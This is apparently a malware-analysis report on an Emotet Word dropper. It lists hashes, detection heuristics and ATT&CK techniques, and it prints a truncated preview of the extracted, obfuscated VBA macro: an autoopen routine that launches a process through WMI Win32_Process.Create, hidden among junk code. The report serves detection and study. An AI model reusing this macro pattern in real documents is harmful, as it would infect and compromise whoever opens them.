Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4b429645677f1033…

MALICIOUS

Office (OLE)

196.1 KB Created: 2019-12-05 06:35:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 913cc0cc6d8339ef0000cad59c6c607c SHA-1: a9da98456f04375373b5bdf9433a3ef0d56a070a SHA-256: 4b429645677f103353edbc083ae0d375695995d521016493757645116a372ec9
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros with an AutoOpen function, a common technique for Emotet. The critical heuristic firing indicates the use of WMI (Win32_Process) to launch a process, which is a strong indicator of malicious intent for executing a payload. The ClamAV detection also explicitly names Emotet.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-7430724-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-7430724-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9799 bytes
SHA-256: 8011f4528c3f68f6d2672626da5885f13762702eebcb6d4bc66ed155d153b59f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pbaansmmme"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Xwkvpahkv, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Stdtazmdwhk, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Zcithauiamvih, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Vbojrrggiv, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Ezdfhyvwelnr, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Dfqjnunulonqa, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Urogdxamrvj, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Cthqtgbnrj, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Ynejqxejdnty, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Ldrkhaejbqdk, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Nploggzjrw, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Vcvdgzhl, 11, 11, MSForms, TextBox"

Attribute VB_Name = "Onewghthy"
Attribute VB_Base = "0{90F44609-848A-4D22-9756-254EF430A853}{424A393F-26DE-4359-82EC-D78A24D1B7C8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nazurwosvaju"
Function Stlacnbar()
On Error Resume Next
   Select Case Izpfmltwcmrs
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Rlwayrqlldft = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
CreateObject("winmgmts:Win32_Process").Create _
 _
Nazurwosvaju _
.Pnrmaxmyqzrt, Vgpbypjebkt, Ciqxuraibvobb
   Select Case Ltbunsqrqra
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Ebldoztcc = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
End Function
Sub autoopen()
On Error Resume Next
   Select Case Cxrnxowmi
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Wbfloyezgyzy = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
   Select Case Xuzqprvjefbdl
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Vlehyqei = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
   Select Case Oskmvtownavpo
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Wimraoaqjtu = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
Stlacnbar
End Sub
Function Ciqxuraibvobb()
On Error Resume Next
   Select Case Olnmndiuibf
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
     
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.